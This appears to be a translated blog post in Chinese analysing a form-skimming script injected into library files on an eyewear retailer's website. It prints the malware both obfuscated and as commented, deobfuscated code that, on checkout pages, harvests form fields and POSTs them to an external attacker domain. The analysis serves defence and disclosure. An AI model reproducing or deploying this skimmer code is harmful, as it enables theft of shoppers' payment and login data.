前言
一些注入腳本經常用來竊取你的數據,并將其發送給攻擊者。但是不得不說,其中一些攻擊者的編程技術真的很拙劣。
近日,我媽媽正在瀏覽網站想購買一副新眼鏡,在訪問marveloptics.com時,她的防病毒軟件開始預警某些惡意JavaScript腳本。而我總是很好奇病毒是如何工作,實現攻擊的,所以我對其進行了逆向分析。
該惡意文件可下載于
https://github.com/veggiedefender/marveloptics_malware
定位
攻擊者將他們的惡意代碼注入了像modernizr和openid這樣的文件中,這將為他們提供一些好處:
1.因為庫的原因,這使得發現混淆后的惡意代碼變得更難。
2.因為開發人員不經常更新其依賴關系,注入的惡意軟件可以在應用程序代碼更新后繼續存在。
https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js
https://www.marveloptics.com/libraries/openid/openid.js
Deobfuscating.js
帶有惡意代碼的文件:modernizr.js和openid.js
它們包含完全相同的惡意代碼,并且顯然使用javascriptobfuscator.com的模糊處理。
幸運的是,js-beautify可以專門對這些腳本進行反混淆處理。
$ js-beautify -x -s 2 original/openid.js >
deobfuscated.js
var i3692386a609ff6fd204a1418521ec651 = {
snd: null,
o7d6e88f271f3ac078a708f7123e10e14: “https://webfotce.me/js/form.js”,
myid: (function(_0x79e5x2) {
var _0x79e5x3 = document[“cookie”][“match”](new RegExp(“(?:^|; )” + _0x79e5x2[“replace”](/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
})(“setidd”) || (function() {
var _0x79e5x4 = new Date();
var _0x79e5x5 = _0x79e5x4[“getTime”]() + “-” + Math[“floor”](Math[“random”]() * (999999999 – 11111111 + 1) + 11111111);
var _0x79e5x6 = new Date(new Date()[“getTime”]() + 60 * 60 * 24 * 1000);
document[“cookie”] = “setidd=” + _0x79e5x5 + “; path=/; expires=” + _0x79e5x6[“toUTCString”]();
return _0x79e5x5
})(),
clk: function() {
i3692386a609ff6fd204a1418521ec651[“snd”] = null;
var _0x79e5x7 = document[“querySelectorAll”](“input, select, textarea, checkbox, button”);
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7[“length”]; _0x79e5x8++) { if (_0x79e5x7[_0x79e5x8][“value”][“length”] > 0) {
var _0x79e5x9 = _0x79e5x7[_0x79e5x8][“name”];
if (_0x79e5x9 == “”) {
_0x79e5x9 = _0x79e5x8
};
i3692386a609ff6fd204a1418521ec651[“snd”] += _0x79e5x7[_0x79e5x8][“name”] + “=” + _0x79e5x7[_0x79e5x8][“value”] + “&”
}
}
},
send: function() {
try {
var _0x79e5xa = document[“querySelectorAll”](“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa[“length”]; _0x79e5x8++) {
var _0x79e5xb = _0x79e5xa[_0x79e5x8];
if (_0x79e5xb[“type”] != “text” && _0x79e5xb[“type”] != “select” && _0x79e5xb[“type”] != “checkbox” && _0x79e5xb[“type”] != “password” && _0x79e5xb[“type”] != “radio”) {
if (_0x79e5xb[“addEventListener”]) {
_0x79e5xb[“addEventListener”](“click”, i3692386a609ff6fd204a1418521ec651[“clk”], false)
} else {
_0x79e5xb[“attachEvent”](“onclick”, i3692386a609ff6fd204a1418521ec651[“clk”])
}
}
};
var _0x79e5xc = document[“querySelectorAll”](“form”);
for (vari = 0; _0x79e5x8 < _0x79e5xc[“length”]; _0x79e5x8++) {
if (_0x79e5xc[_0x79e5x8][“addEventListener”]) {
_0x79e5xc[_0x79e5x8][“addEventListener”](“submit”, i3692386a609ff6fd204a1418521ec651[“clk”], false)
} else {
_0x79e5xc[_0x79e5x8][“attachEvent”](“onsubmit”, i3692386a609ff6fd204a1418521ec651[“clk”])
}
};
if (i3692386a609ff6fd204a1418521ec651[“snd”] != null) {
var _0x79e5xd = location[“hostname”][“split”](“.”)[“slice”](0)[“join”](“_”) || “nodomain”;
var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651[“snd”]);
var _0x79e5xf = new XMLHttpRequest();
_0x79e5xf[“open”](“POST”, i3692386a609ff6fd204a1418521ec651[“o7d6e88f271f3ac078a708f7123e10e14″], true);
_0x79e5xf[“setRequestHeader”](“Content-type”, “application/x-www-form-urlencoded”);
_0x79e5xf[“send”](“info=” + _0x79e5xe + “&hostname=” + _0x79e5xd + “&key=” + i3692386a609ff6fd204a1418521ec651[“myid”])
};
i3692386a609ff6fd204a1418521ec651[“snd”] = null;
_0x79e5xe = null;
setTimeout(function() {
i3692386a609ff6fd204a1418521ec651[“send”]()
}, 30)
} catch (e) {}
}
};
if ((new RegExp(“onepage|checkout|onestep”, “gi”))[“test”](window[“location”])) {
i3692386a609ff6fd204a1418521ec651[“send”]()
}
wow,這變得好一些了,但是接下來是查找和替換混淆后的變量名以及添加注釋依舊是個繁瑣工作:
var Malware = {
data: null,
url: “https://webfotce.me/js/form.js”,
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp(“(?:^|; )” + cookieName.replace(/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return id ? decodeURIComponent(id[1]) : undefined;
})(“setidd”) || (function() {
// If the setidd cookie doesn’t exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + “-” + Math.floor(Math.random() * (999999999 – 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = “setidd=” + id + “; path=/; expires=” + expiration.toUTCString();
return id;
})(),
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll(“input, select, textarea, checkbox, button”);
for (var i = 0; i < elements.length; i++) { if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == “”) {
name = i;
};
Malware.data += elements[i].name + “=” + elements[i].value + “&”;
}
}
},
send: function() {
try {
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll(“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != “text” && element.type != “select” && element.type != “checkbox” && element.type != “password” && element.type != “radio”) {
if (element.addEventListener) {
element.addEventListener(“click”, Malware.stealData, false);
} else {
element.attachEvent(“onclick”, Malware.stealData);
}
}
};
// When the user submits a form, run stealData
var formElements = document.querySelectorAll(“form”);
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener(“submit”, Malware.stealData, false);
} else {
formElements[i].attachEvent(“onsubmit”, Malware.stealData);
}
};
// If there’s any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(“.”).slice(0).join(“_”) || “nodomain”;
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open(“POST”, Malware.url, true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhr.send(“info=” + data + “&hostname=” + hostname + “&key=” + Malware.myid);
};
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
} catch (e) {}
}
};
// Only run on pages with worthwhile info
if ((new RegExp(“onepage|checkout|onestep”, “gi”)).test(window.location)) {
Malware.send();
}
上述代碼分析
讓我們一步一步來揭示上述代碼的作用吧
開始分析
// Only run on pages with worthwhile info
if ((new RegExp(“onepage|checkout|onestep”, “gi”)).test(window.location)) {
Malware.send();
}
這是整個腳本的入口點,如果該頁面是結賬頁面,那么它將調用send()函數
聲明主對象
var Malware = {
data: null,
url: “https://webfotce.me/js/form.js”,
我將對象重命名為Malware,并且大部分代碼都存在于此對象中。
data最終將存儲用戶的被盜數據,這些數據都將被發送到url。
識別用戶
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp(“(?:^|; )” + cookieName.replace(/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return id ? decodeURIComponent(id[1]) : undefined;
})(“setidd”) || (function() {
// If the setidd cookie doesn’t exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + “-” + Math.floor(Math.random() * (999999999 – 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = “setidd=” + id + “; path=/; expires=” + expiration.toUTCString();
return id;
})(),
myid存儲用戶的標識ID字符串
在第一個塊中,程序檢查一個名為setidd的cookie。
如果它存在(受害者是返回用戶),則會解析cookie的ID,并將其存儲到myid。
但是,如果cookie不存在,那么就會產生一個新的ID,并將其保存在myid和名為setidd的cookie中,它的有效期為24小時。
而ID由當前的unix時間戳,短劃線和長隨機數組成,看起來像1529853014535-289383517。
數據竊取
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll(“input, select, textarea, checkbox, button”);
for (var i = 0; i < elements.length; i++) { if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == “”) {
name = i;
};
Malware.data += elements[i].name + “=” + elements[i].value + “&”;
}
}
},
首先,它通過將其設置為null清除data。然后,它在頁面上查找所有文本輸入,并以以下格式保存其名稱和值:
username=admin&password=hunter2
但實際上,因為data作為null而開始程序,程序串給它拼接新的值后,最終看起來更像是這樣的:
nullusername=admin&password=hunter2
send()函數
send: function() {
try {
// …
} catch (e) {}
}
這些是專業開發人員設計的代碼,對于錯誤的捕捉做的很好,不用擔心程序錯誤使它們結果受到影響
添加事件偵聽器
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll(“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != “text” && element.type != “select” && element.type != “checkbox” && element.type != “password” && element.type != “radio”) {
if (element.addEventListener) {
element.addEventListener(“click”, Malware.stealData, false);
} else {
element.attachEvent(“onclick”, Malware.stealData);
}
}
};
惡意軟件會為頁面上的所有按鈕注入一個事件監聽器
因此當用戶單擊其中任何一個按鈕時,它們會再次運行stealData()。
如果不存在,則測試element.addEventListener并且使用element.attachEvent
// When the user submits a form, run stealData
var formElements = document.querySelectorAll(“form”);
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener(“submit”, Malware.stealData, false);
} else {
formElements[i].attachEvent(“onsubmit”, Malware.stealData);
}
};
他們也試圖在表單提交時做同樣的事情,然而,他們寫錯了一個字:
應該寫為var i = 0,而不是vari = 0。
這樣就創建了一個名為vari的全局變量并將其值設置為0。
幸運的是,i在之前的循環里已被作用過,所以,i的值肯定是高于0或是formElements.length的,這就意味著循環體實際上從未運行過
發送數據
// If there’s any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(“.”).slice(0).join(“_”) || “nodomain”;
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open(“POST”, Malware.url, true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhr.send(“info=” + data + “&hostname=” + hostname + “&key=” + Malware.myid);
};
如果對象里面有任何data數據(由stealData()函數賦值),則將其發送到攻擊者的域名。
所有內容data都經過base64編碼,因此它不會與其余的POST請求發生沖突,其中包括ID和當前頁面的主機名(由于某種原因,點會轉換為下劃線)。
清理并再次運行
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
send每30毫秒遞歸調用一次,可以說攻擊者真的不關心程序的性能。
大體時間
根據互聯網檔案快照,marveloptics.com自2017年1月至6月期間已被感染,這意味著他們過去一年的所有客戶都被竊取了信息。
而我今年6月24日通過電子郵件向customerservice@marveloptics.com發送了詳細信息,但尚未收到回復。